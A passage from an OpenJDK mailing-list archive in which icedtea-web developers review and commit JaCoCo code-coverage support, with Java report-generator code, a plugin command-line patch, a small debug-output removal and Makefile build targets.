void addSource(File f) { >>> + sourceDirectories.add(f); >>> + >>> + } >>> + >>> + public void addClasses(File f) { >>> + classesDirectories.add(f); >>> + >>> + } >>> + >>> + /** >>> + * Create the report. >>> + * >>> + * @throws IOException >>> + */ >>> + public void execute() throws IOException { >>> + >>> + // Read the jacoco.exec file. Multiple data stores could be >>> merged >>> + // at this point >>> + loadExecutionData(); >>> + >>> + // Run the structure analyzer on a single class folder to >>> build up >>> + // the coverage model. The process would be similar if your >>> classes >>> + // were in a jar file. Typically you would create a bundle >>> for each >>> + // class folder and each jar you want in your report. If >>> you have >>> + // more than one bundle you will need to add a grouping >>> node to your >>> + // report >>> + final IBundleCoverage bundleCoverage = analyzeStructure(); >>> + >>> + if (reportDirectory != null) { >>> + createHtmlReport(bundleCoverage); >>> + } >>> + if (xmlOutput != null) { >>> + createXmlReport(bundleCoverage); >>> + } >>> + >>> + } >>> + >>> + private void createHtmlReport(final IBundleCoverage >>> bundleCoverage) >>> + throws IOException { >>> + >>> + // Create a concrete report visitor based on some supplied >>> + // configuration. In this case we use the defaults >>> + final HTMLFormatter htmlFormatter = new HTMLFormatter(); >>> + final IReportVisitor visitor = >>> htmlFormatter.createVisitor(new >>> FileMultiReportOutput(reportDirectory)); >>> + >>> + // Initialize the report with all of the execution and session >>> + // information. At this point the report doesn't know about >>> the >>> + // structure of the report being created >>> + visitor.visitInfo(sessionInfoStore.getInfos(), >>> + executionDataStore.getContents()); >>> + >>> + // Populate the report structure with the bundle coverage >>> information. >>> + // Call visitGroup if you need groups in your report. >>> + MultiSourceFileLocator msf = new MultiSourceFileLocator(4); >>> + for (File file : sourceDirectories) { >>> + msf.add(new DirectorySourceFileLocator( >>> + file, "utf-8", 4)); >>> + } >>> + >>> + visitor.visitBundle(bundleCoverage, msf); >>> + >>> + // Signal end of structure information to allow report to >>> write all >>> + // information out >>> + visitor.visitEnd(); >>> + >>> + } >>> + >>> + private void createXmlReport(final IBundleCoverage bundleCoverage) >>> + throws IOException { >>> + >>> + OutputStream fos = new FileOutputStream(xmlOutput); >>> + try { >>> + // Create a concrete report visitor based on some supplied >>> + // configuration. In this case we use the defaults >>> + final XMLFormatter htmlFormatter = new XMLFormatter(); >>> + final IReportVisitor visitor = >>> htmlFormatter.createVisitor(fos); >>> + >>> + // Initialize the report with all of the execution and >>> session >>> + // information. At this point the report doesn't know >>> about the >>> + // structure of the report being created >>> + visitor.visitInfo(sessionInfoStore.getInfos(), >>> + executionDataStore.getContents()); >>> + >>> + // Populate the report structure with the bundle >>> coverage information. >>> + // Call visitGroup if you need groups in your report. >>> + visitor.visitBundle(bundleCoverage, null); >>> + >>> + >>> + // Signal end of structure information to allow report >>> to write all >>> + // information out >>> + visitor.visitEnd(); >>> + } finally { >>> + if (fos != null) { >>> + fos.close(); >>> + } >>> + } >>> + >>> + } >>> + >>> + private void loadExecutionData() throws IOException { >>> + final FileInputStream fis = new >>> FileInputStream(executionDataFile); >>> + try { >>> + final ExecutionDataReader executionDataReader = new >>> ExecutionDataReader( >>> + fis); >>> + executionDataStore = new ExecutionDataStore(); >>> + sessionInfoStore = new SessionInfoStore(); >>> + >>> + executionDataReader.setExecutionDataVisitor(executionDataStore); >>> + executionDataReader.setSessionInfoVisitor(sessionInfoStore); >>> + >>> + while (executionDataReader.read()) { >>> + } >>> + } finally { >>> + if (fis != null) { >>> + fis.close(); >>> + } >>> + } >>> + } >>> + >>> + private IBundleCoverage analyzeStructure() throws IOException { >>> + final CoverageBuilder coverageBuilder = new CoverageBuilder(); >>> + final Analyzer analyzer = new Analyzer(executionDataStore, >>> + coverageBuilder); >>> + for (File file : classesDirectories) { >>> + analyzer.analyzeAll(file); >>> + >>> + } >>> + >>> + return coverageBuilder.getBundle(title); >>> + } >>> + >>> + @Override >>> + public void run() { >>> + try { >>> + execute(); >>> + } catch (IOException ex) { >>> + throw new RuntimeException(ex); >>> + } >>> + } >>> + >>> + public static void main(final String[] args) throws IOException { >>> + String root = "/home/jvanek/Desktop/icedtea-web/"; >> >> There's maybe a slight chance someone else will want to run this :)) >> >>> + >>> + String src1 = root + "netx/"; >>> + String src2 = root + "plugin/icedteanp/java/"; >>> + String src3 = root + "tests/test-extensions/"; >>> + String src4 = root + "tests/test-extensions-tests/"; >>> + String src5 = root + "tests/netx/unit/"; >>> + String src6 = root + "tests/junit-runner/"; >> >> I'd say either give these descriptive names or do something like: >> >> String[] sources = {"netx/", ...}; and >> >> for (String s : sources) { >> sourceDirectories.add(new File(root + s)); >> } >> >> >>> + //reproducers srcs+testcases >>> + >>> + String cls1 = root + "netx.build/lib/classes.jar"; >>> + String cls2 = root + "liveconnect/lib/classes.jar"; >>> + String cls3 = root + "tests.build/test-extensions/"; >>> + //??String cls4=root+"tests/test-extensions-tests/"; >>> + String cls5 = root + "tests.build/netx/unit/"; >>> + String cls6 = root + "tests.build/junit-runner/"; >> >> As above, numbered variable names are a code smell IMO. >> >>> + //reproducers jars and testcases >>> + >>> + >>> + >>> + final List sourceDirectories = new ArrayList(10); >>> + sourceDirectories.add(new File(src1)); >>> + sourceDirectories.add(new File(src2)); >>> + sourceDirectories.add(new File(src3)); >>> + sourceDirectories.add(new File(src4)); >>> + sourceDirectories.add(new File(src5)); >>> + sourceDirectories.add(new File(src6)); >>> + >>> + final List classesDirectories = new ArrayList(10); >>> + classesDirectories.add(new File(cls1)); >>> + classesDirectories.add(new File(cls2)); >>> + classesDirectories.add(new File(cls3)); >>> + classesDirectories.add(new File(cls5)); >>> + classesDirectories.add(new File(cls6)); >>> + >>> + >>> + final ReportGenerator generator = new ReportGenerator( >>> + "icedtea-web coverage report", >>> + new File(cls5 + "/" + MergeTask.DEFAULT_NAME), >>> classesDirectories, sourceDirectories, >>> + new File(root + "unit-report")); >>> + generator.execute(); >>> + >>> + } >>> +} >>> > > Both main methods removed. SHould not be here.... >> >> >>> diff -r aff6fb36a9ab tests/plugin_fakeing.patch >>> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >>> +++ b/tests/plugin_fakeing.patch Wed Dec 05 16:40:30 2012 +0100 >>> @@ -0,0 +1,31 @@ >>> +--- IcedTeaNPPlugin.cc >>> ++++ IcedTeaNPPlugin.cc >>> +@@ -1623,12 +1623,13 @@ >>> + int cmd_num = 0; >>> + if (plugin_debug) >>> + { >>> +- command_line = (gchar**) malloc(sizeof(gchar*)*11); >>> ++ command_line = (gchar**) malloc(sizeof(gchar*)*12); >>> + command_line[cmd_num++] = g_strdup(appletviewer_executable); >>> + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); >>> + // set the classpath to avoid using the default (cwd). >>> + command_line[cmd_num++] = g_strdup("-classpath"); >>> + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", >>> ICEDTEA_WEB_JRE); >>> ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); >>> + command_line[cmd_num++] = g_strdup("-Xdebug"); >>> + command_line[cmd_num++] = g_strdup("-Xnoagent"); >>> + if (plugin_debug_suspend) >>> +@@ -1644,11 +1645,12 @@ >>> + command_line[cmd_num] = NULL; >>> + } else >>> + { >>> +- command_line = (gchar**) malloc(sizeof(gchar*)*8); >>> ++ command_line = (gchar**) malloc(sizeof(gchar*)*9); >>> + command_line[cmd_num++] = g_strdup(appletviewer_executable); >>> + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); >>> + command_line[cmd_num++] = g_strdup("-classpath"); >>> + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", >>> ICEDTEA_WEB_JRE); >>> ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); >>> + command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); >>> + command_line[cmd_num++] = g_strdup(out_pipe_name); >>> + command_line[cmd_num++] = g_strdup(in_pipe_name); >> >> I think we could do better by having an ifdef here for >> COVERAGE_AGENT, eg (based off HEAD), attached >> is an example patch that accomplishes this (as well as merging the >> duplicate code, so I didn't have >> to add it in two places). This will not require patching of the >> source tree, the extra define passed >> will suffice. You will be able to work off the original source this way. > > As we agreed on irc, definitely :) > > btw.. I hope you are right with c++ pathc you suggested and I have > blindly used :) Should be fine, although if were completely technical its 'unreviewed' :) So much for example patch :) > >> >> Happy hacking, >> -Adam > So final consensus is you can push (only issue I saw was the metter->matter typo) ... if you really don't want to start involving bash files in our build process -- however I think organization is always a good thing. I'll leave it up to you as you have experience trying this in the past. OKish for HEAD :) Happy hacking, -Adam From adomurad at redhat.com Tue Dec 11 11:08:34 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 11 Dec 2012 14:08:34 -0500 Subject: [rfc][icedtea-web] remove one stdout left in from testing Message-ID: <50C784B2.9010607@redhat.com> 2012-12-11 Adam Domurad * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: Remove left-in System.out As you requested -------------- next part -------------- A non-text attachment was scrubbed... Name: noout.patch Type: text/x-patch Size: 703 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121211/edc69e27/noout.patch From jvanek at redhat.com Tue Dec 11 11:09:46 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 11 Dec 2012 20:09:46 +0100 Subject: [rfc][icedtea-web] remove one stdout left in from testing In-Reply-To: <50C784B2.9010607@redhat.com> References: <50C784B2.9010607@redhat.com> Message-ID: <50C784FA.3050507@redhat.com> On 12/11/2012 08:08 PM, Adam Domurad wrote: > 2012-12-11 Adam Domurad > > * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: > Remove left-in System.out > > As you requested sure, go on. From adomurad at icedtea.classpath.org Tue Dec 11 11:11:41 2012 From: adomurad at icedtea.classpath.org (adomurad at icedtea.classpath.org) Date: Tue, 11 Dec 2012 19:11:41 +0000 Subject: /hg/icedtea-web: Remove left-in System.out Message-ID: changeset d8b97eea56e3 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=d8b97eea56e3 author: Adam Domurad date: Tue Dec 11 14:11:39 2012 -0500 Remove left-in System.out diffstat: ChangeLog | 5 +++++ plugin/icedteanp/java/sun/applet/PluginParameterParser.java | 1 - 2 files changed, 5 insertions(+), 1 deletions(-) diffs (23 lines): diff -r 0187d8df56b4 -r d8b97eea56e3 ChangeLog --- a/ChangeLog Mon Dec 10 17:45:36 2012 -0500 +++ b/ChangeLog Tue Dec 11 14:11:39 2012 -0500 @@ -1,3 +1,8 @@ +2012-12-11 Adam Domurad + + * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: + Remove left-in System.out + 2012-12-10 Saad Mohammad Add unit tests for PR1189. diff -r 0187d8df56b4 -r d8b97eea56e3 plugin/icedteanp/java/sun/applet/PluginParameterParser.java --- a/plugin/icedteanp/java/sun/applet/PluginParameterParser.java Mon Dec 10 17:45:36 2012 -0500 +++ b/plugin/icedteanp/java/sun/applet/PluginParameterParser.java Tue Dec 11 14:11:39 2012 -0500 @@ -46,7 +46,6 @@ static Map parseEscapedKeyValuePairs(String keyvalString) { // Split on ';', ensuring empty strings at end are kept String[] strs = keyvalString.split(KEY_VALUE_DELIMITER, -1 /* Keep empty strings */); - System.out.println("Split array: " + Arrays.toString(strs)); Map attributes = new HashMap(); From jvanek at icedtea.classpath.org Tue Dec 11 11:32:58 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Tue, 11 Dec 2012 19:32:58 +0000 Subject: /hg/icedtea-web: Added jacoco code coverage support Message-ID: changeset 1fe2a4f7981f in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=1fe2a4f7981f author: Jiri Vanek date: Tue Dec 11 20:32:26 2012 +0100 Added jacoco code coverage support Note - in time of this commit one needs custom build of jacoco containing the xboot.patch form approving discussion: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121127/ba8f6a1e/xboot-0001.patch The tracking of upstraming can be found on jacoco page. diffstat: ChangeLog | 32 + Makefile.am | 262 ++++++++- configure.ac | 4 + plugin/icedteanp/IcedTeaNPPlugin.cc | 59 +- tests/jacoco-operator/org/jacoco/operator/Main.java | 288 +++++++++ tests/jacoco-operator/org/jacoco/operator/MergeTask.java | 157 +++++ tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java | 292 ++++++++++ 7 files changed, 1055 insertions(+), 39 deletions(-) diffs (truncated from 1228 to 500 lines): diff -r d8b97eea56e3 -r 1fe2a4f7981f ChangeLog --- a/ChangeLog Tue Dec 11 14:11:39 2012 -0500 +++ b/ChangeLog Tue Dec 11 20:32:26 2012 +0100 @@ -1,3 +1,35 @@ +2012-12-11 Jiri Vanek + + Added jacoco code coverage support + * Makefile.am: (JACOCO_*) bunch of new variables encapsulating jacoco + files. (PLUGIN_COVERAGE_BOOTCLASSPATH) classpath to be used in plugin + instead of normal one in coverage mode. (COVERABLE_PLUGIN_DIR) for + compiling plugin with agent on. (jacoco-operator-source-files.txt) for + storing files of reporting tool. All XSLTPROC command were done as non-fatal + (stamps/compile-jacoco-operator.stamp) for compiling report operator. + (stamps/run-unit-test-code-coverage-jacoco.stam) for cover unittests + Set of (COVERABLE_PLUGIN_*) targets to compile plugin with agent on. + (stamps/build-fake-plugin.stamp) top level target for fake plugin. + (stamps/run-reproducers-test-code-coverage-jacoco.stamp) target for + cover reproducers. (run-test-code-coverage-jacoco) for merged coverage + (clean-unit-test-code-coverage-jacoco) and + (clean-reproducers-test-code-coverage-jacoco) and + (clean-test-code-coverage-jacoco) and + (clean-test-code-coverage-tools-jacoco) cleaning targets. + (run-reproducers-test-code-coverage-jacoco) and + (run-unit-test-code-coverage-jacoco) as top level aliases. + * configure.ac: added check for jacoco library and asm library + * plugin/icedteanp/IcedTeaNPPlugin.cc removed duplicate code + (plugin_start_appletviewe) removed duplicated code and added handling of + java agent if defined. + * tests/jacoco-operator/org/jacoco/operator/Main.java : New class, + comamndline tool for merging results and for generating reports. + * tests/jacoco-operator/org/jacoco/operator/MergeTask.java: New class. + Utility class responsible for merging exec results to one exec file. + * tests/jacoco-operator/org/jacoco/operator/ReportGenerator: New class. + Utility method for gathering sources and builds and outputing xml and + html reports. + 2012-12-11 Adam Domurad * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: diff -r d8b97eea56e3 -r 1fe2a4f7981f Makefile.am --- a/Makefile.am Tue Dec 11 14:11:39 2012 -0500 +++ b/Makefile.am Tue Dec 11 20:32:26 2012 +0100 @@ -20,6 +20,8 @@ export JUNIT_RUNNER_DIR=$(TESTS_DIR)/junit-runner export JUNIT_RUNNER_SRCDIR=$(TESTS_SRCDIR)/junit-runner +export JACOCO_OPERATOR_DIR=$(TESTS_DIR)/jacoco-operator +export JACOCO_OPERATOR_SRCDIR=$(TESTS_SRCDIR)/jacoco-operator export TEST_EXTENSIONS_SRCDIR=$(TESTS_SRCDIR)/test-extensions export TEST_EXTENSIONS_TESTS_SRCDIR=$(TESTS_SRCDIR)/test-extensions-tests @@ -56,6 +58,22 @@ export ALL_NONCUSTOM_REPRODUCERS=$(SIMPLE_REPRODUCERS) $(SIGNED_REPRODUCERS) export ALL_REPRODUCERS=$(ALL_NONCUSTOM_REPRODUCERS) $(CUSTOM_REPRODUCERS) +export JACOCO_PATH:=$(shell dirname "$(JACOCO_JAR)") +export JACOCO_AGENT=org.jacoco.agent.jar +export JACOCO_ANT=org.jacoco.ant.jar +export JACOCO_REPORT=org.jacoco.report.jar +export JACOCO_AGENTRT=org.jacoco.agent.rt.jar +export JACOCO_CORE=org.jacoco.core.jar +export JACOCO_JAVAWS_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec +export JACOCO_PLUGIN_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec +export JACOCO_CLASSPATH=$(JACOCO_PATH)/$(JACOCO_CORE):$(JACOCO_PATH)/$(JACOCO_AGENT):$(JACOCO_PATH)/$(JACOCO_REPORT):$(JACOCO_PATH)/$(JACOCO_AGENTRT):$(JACOCO_PATH)/$(JACOCO_ANT):$(ASM_JAR) +export JACOCO_AGENT_SWITCH_BODY=-javaagent:$(JACOCO_PATH)/$(JACOCO_AGENTRT) +export JACOCO_BASE_EXCLUDE=org.junit.*:junit.* +export JACOCO_ADVANCED_EXCLUDE=:*jacoco*:java.lang.*:java.reflect.*:java.util.*:sun.reflect.* +export JACOCO_AGENT_SWITCH="$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)" +export JACOCO_AGENT_JAVAWS_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_JAVAWS_RESULTS)\" +export JACOCO_AGENT_PLUGIN_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_PLUGIN_RESULTS)\" +export JACOCO_OPERATOR_EXEC=$(BOOT_DIR)/bin/java $(EMMA_JAVA_ARGS) -cp $(JACOCO_OPERATOR_DIR):$(JACOCO_CLASSPATH):. org.jacoco.operator.Main # linking variables export PLUGIN_LINK_NAME=libjavaplugin.so @@ -103,6 +121,7 @@ # export LAUNCHER_BOOTCLASSPATH="-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar$(RHINO_RUNTIME)" export PLUGIN_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME)"' +export PLUGIN_COVERAGE_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME):$(JACOCO_CLASSPATH)"' # Fake update version to work with the Deployment Toolkit script used by Oracle # http://download.oracle.com/javase/tutorial/deployment/deploymentInDepth/depltoolkit_index.html @@ -128,6 +147,8 @@ export LIVECONNECT_SRCS = $(PLUGIN_SRCDIR)/java export ICEDTEAPLUGIN_TARGET = $(PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) stamps/liveconnect-dist.stamp export PLUGIN_PKGS = sun.applet netscape.security netscape.javascript +#this is for plugin testcoverage +export COVERABLE_PLUGIN_DIR=$(TESTS_DIR)/icedteanp-build-with-jacoco endif if CP_SUPPORTS_REFLINK @@ -588,6 +609,9 @@ junit-runner-source-files.txt: find $(JUNIT_RUNNER_SRCDIR) -name '*.java' | sort > $@ +jacoco-operator-source-files.txt: + find $(JACOCO_OPERATOR_SRCDIR) -name '*.java' | sort > $@ + $(JUNIT_RUNNER_JAR): junit-runner-source-files.txt stamps/test-extensions-compile.stamp mkdir -p $(JUNIT_RUNNER_DIR) && \ $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ @@ -825,8 +849,8 @@ $(BOOT_DIR)/bin/java $(REPRODUCERS_DPARAMETERS) \ -Xbootclasspath:$(RUNTIME) CommandLine $$class_names if WITH_XSLTPROC - $(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html + -$(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html endif touch $@ @@ -1002,8 +1026,8 @@ CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(abs_top_builddir)/liveconnect/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names if WITH_XSLTPROC - $(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html + -$(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html endif mkdir -p stamps && \ touch $@ @@ -1049,6 +1073,53 @@ endif touch $@ +stamps/compile-jacoco-operator.stamp: jacoco-operator-source-files.txt +if WITH_JACOCO + mkdir -p $(JACOCO_OPERATOR_DIR) && \ + $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ + -d $(JACOCO_OPERATOR_DIR) \ + -classpath $(JACOCO_CLASSPATH) \ + @jacoco-operator-source-files.txt ; +else + echo "Sorry, jacoco coverage report generator cant be compiled without jacoco installed. Try installing jacoco or specify with-jacoco value" ; + exit 5 +endif + touch $@ + + +#warning, during this target tests.build/netx/unit/tests-output.xml is backup and rewriten (but not coresponding html file) +#xml results run with jacoco agent however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored +stamps/run-unit-test-code-coverage-jacoco.stamp: stamps/netx-unit-tests-compile.stamp $(JUNIT_RUNNER_JAR) \ + $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(UNIT_CLASS_NAMES) stamps/compile-jacoco-operator.stamp +if WITH_JACOCO + filename=" " ; \ + cd $(NETX_UNIT_TEST_SRCDIR) ; \ + for file in `find . -type f \! -iname "*.java"`; do\ + filename=`echo $$file `; \ + cp --parents $$filename $(NETX_UNIT_TEST_DIR) ; \ + done ; \ + cd $(NETX_UNIT_TEST_DIR) ; \ + for file in $(EMMA_MODIFIED_FILES) ; do \ + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ + done ;\ + class_names=`cat $(UNIT_CLASS_NAMES)` ; \ + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(abs_top_builddir)/liveconnect/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):. \ + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ + for file in $(EMMA_MODIFIED_FILES) ; do \ + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ + mv $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(NETX_UNIT_TEST_DIR)/$$file ; \ + done ; \ + $(JACOCO_OPERATOR_EXEC) \ + report --die-soon --html-output coverage --xml-output coverage.xml --input-file jacoco.exec \ + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(NETX_UNIT_TEST_SRCDIR) $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) \ + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(NETX_UNIT_TEST_DIR) $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) \ + --title "IcedTea-Web unit-tests codecoverage" ; +else + echo "Sorry, coverage report cant be run without jacoco installed. Try installing jacoco or specify with-jacoco value" ; + exit 5 +endif + touch $@ + #warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) #xml results run from emma sandbox, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored stamps/run-reproducers-test-code-coverage.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) @@ -1139,7 +1210,145 @@ endif touch $@ -run-test-code-coverage: run-unit-test-code-coverage run-reproducers-test-code-coverage +$(COVERABLE_PLUGIN_DIR): + mkdir -p $(COVERABLE_PLUGIN_DIR); + +$(COVERABLE_PLUGIN_DIR)/%.o: $(PLUGIN_SRCDIR)/%.cc + cd $(COVERABLE_PLUGIN_DIR) && \ + $(CXX) $(CXXFLAGS) \ + $(DEFS) $(VERSION_DEFS) \ + -DJDK_UPDATE_VERSION="\"$(JDK_UPDATE_VERSION)\"" \ + -DPLUGIN_NAME="\"IcedTea-Web Plugin with jacoco coverage agent\"" \ + -DPLUGIN_VERSION="\"$(PLUGIN_VERSION)\"" \ + -DPACKAGE_URL="\"$(PACKAGE_URL)\"" \ + -DMOZILLA_VERSION_COLLAPSED="$(MOZILLA_VERSION_COLLAPSED)" \ + -DICEDTEA_WEB_JRE="\"$(SYSTEM_JRE_DIR)\"" \ + -DPLUGIN_BOOTCLASSPATH=$(PLUGIN_COVERAGE_BOOTCLASSPATH) \ + -DCOVERAGE_AGENT=$(JACOCO_AGENT_PLUGIN_SWITCH) \ + $(GLIB_CFLAGS) \ + $(GTK_CFLAGS) \ + $(MOZILLA_CFLAGS) \ + -fvisibility=hidden \ + -fPIC -o $@ -c $< + +$(COVERABLE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY): $(addprefix $(COVERABLE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) + cd $(COVERABLE_PLUGIN_DIR) && \ + $(CXX) $(CXXFLAGS) \ + $(PLUGIN_OBJECTS) \ + $(GLIB_LIBS) \ + $(GTK_LIBS) \ + $(MOZILLA_LIBS) \ + -shared -o $@ + +stamps/build-fake-plugin.stamp: $(COVERABLE_PLUGIN_DIR) $(addprefix $(PLUGIN_SRCDIR)/,$(PLUGIN_SRC)) $(addprefix $(COVERABLE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) stamps/liveconnect-dist.stamp $(COVERABLE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) + touch $@ + +#warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) +#xml results run with jacoco agent, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored +stamps/run-reproducers-test-code-coverage-jacoco.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) \ +stamps/compile-jacoco-operator.stamp stamps/build-fake-plugin.stamp +if WITH_JACOCO + cd $(TESTS_DIR) ; \ + for file in $(EMMA_MODIFIED_FILES) ; do \ + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ + done ;\ + echo "backuping javaws in $(DESTDIR)$(bindir)" ; \ + javaws_backup=$(DESTDIR)$(bindir)/javaws_backup ; \ + mv $(DESTDIR)$(bindir)/javaws $$javaws_backup ; \ + echo "patching $(javaws)" ; \ + nw_bootclasspath="$(LAUNCHER_BOOTCLASSPATH):$(JACOCO_CLASSPATH)" ; \ + cat $$javaws_backup | sed "s|COMMAND.k.=\"..JAVA.\"|COMMAND[k]=\"\\$$\\{JAVA\\}\" ; k=1 ; COMMAND[k]=$(JACOCO_AGENT_JAVAWS_SWITCH)|" | sed "s,$(LAUNCHER_BOOTCLASSPATH),$$nw_bootclasspath," > $(DESTDIR)$(bindir)/$(javaws) ; \ + chmod 777 $(DESTDIR)$(bindir)/$(javaws) ; \ + echo "backuping plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ + plugin_backup=$(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY)_backup ; \ + mv $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) $$plugin_backup ; \ + echo "fakeing plugin" ; \ + cp $(COVERABLE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ + testcases_srcs=( ) ; \ + k=0 ; \ + types=($(ALL_REPRODUCERS)); \ + for which in "$${types[@]}" ; do \ + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ + IFS="$$IFS_BACKUP" ; \ + for dir in "$${simpleReproducers[@]}" ; do \ + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ + k=$$((k+1)) ; \ + done ; \ + done ; \ + cd $(TEST_EXTENSIONS_DIR) ; \ + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):.:$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):$(TEST_EXTENSIONS_TESTS_DIR) \ + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) $(REPRODUCERS_DPARAMETERS) \ + -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ + if [ -f $(JACOCO_JAVAWS_RESULTS) ] ; then 